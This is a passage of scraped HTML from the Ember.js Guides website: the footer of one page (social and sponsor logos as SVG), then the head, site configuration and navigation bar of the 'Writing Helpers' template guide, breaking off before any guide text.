48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember327130" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Writing Helpers - Templates - Ember Guides</title> <meta name="description" content="Helpers allow you to add additional functionality to your templates beyond what is included out-of-the-box in Ember. Helpers are most useful for transforming raw values from models and components into a format more appropriate for your users. For example,..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Writing Helpers - Templates - Ember Guides"> <!----> <meta property="og:description" content="Helpers allow you to add additional functionality to your templates beyond what is included out-of-the-box in Ember. Helpers are most useful for transforming raw values from models and components into a format more appropriate for your users. For example,..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Writing Helpers - Templates - Ember Guides"> <!----> <meta name="twitter:description" content="Helpers allow you to add additional functionality to your templates beyond what is included out-of-the-box in Ember. Helpers are most useful for transforming raw values from models and components into a format more appropriate for your users. For example,..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember115693" class="es-header ember-view" role="banner"><div id="ember115694" class="ember-view"><div class="container"> <nav id="ember115695" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember115696" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember115697" class="navbar-collapse collapse ember-view"><ul id="ember115698" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember115699" class="dropdown nav-item ember-view"> <a href="#" id="ember115700" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember115702" class="dropdown nav-item ember-view"> <a href="#" id="ember115703" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember115705" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember115706" class="dropdown nav-item ember-view"> <a href="#" id="ember115707" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember115709" class="dropdown nav-item ember-view"> <a href="#" id="ember115710" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember115712" class="nav navbar-nav ember-view"> <form> <div id="ember115713" class="search-input ember-view"> <input id="search-input" 